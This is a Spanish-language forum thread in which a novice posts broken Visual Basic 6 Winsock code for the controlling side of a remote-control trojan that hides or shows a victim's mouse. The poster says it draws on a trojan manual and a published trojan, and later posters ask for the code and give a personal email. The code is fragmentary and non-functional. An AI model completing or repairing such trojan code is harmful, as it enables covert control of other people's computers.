no se  en que ise mal no puede conectarme con mi servidor
el servidor ta bien pero sale error cuando quieromandar un accion como oculatar raton
miren


Private Sub Command1_Click()
On Error Resume Next
ws.LocalPort = Text1.Text
ws.Close
ws.Listen
If ws.State = 2 Then Label1.Caption = "Escuchando"
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error GoTo error
ws.Close
ws.Accept requestID
Label2.Caption = ws.RemoteHostIP
Timer1.Interval = 3000
error:
End Sub

Private Sub Command2_Click()
ws.SendData = "ocultar"
End Sub

Private Sub Command3_Click()
ws.SendData = "mostrar"
End Sub

Private Sub Timer1_Timer()
On Error GoTo error
If Not ws.State = 7 Then
Label1.Caption = "Desconectado"
Else
End If
If ws.State = 7 Then
Label1.Caption = "Conectado"
Else
End If
If Label1.Caption = "Desconectado" Then
Label1.Caption = "Desconectado"
GoTo puente
Else
End If
GoTo error
puente:
ws.Close
ws.Listen
error:
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
que llegan
Dim vtData As String
Winsock1.GetData vtData, vbString
orden = ""
orden = orden & vtData & vbString

End Sub

no se por que no da que le falta ayudenme porfa
ise estoa ayudado pr el manual de troyanos y agregue algunas cosasa de un troyano publicado 

tons me la charalaron pero muhcas gracias por la aclaracion

hola no se mucho de esto pero esxiste o  no si hay lo pueden dar alguien donde descargarlo solo oi y queria preguntar
gracias

HOLA OE NO PUEDO DESCARGARLO MAN EL CODIGO EN VB POR FAVOR ME LO PODES ENVIAR A MI CORREO
GONZALO_13_4@HOTMAIL.COM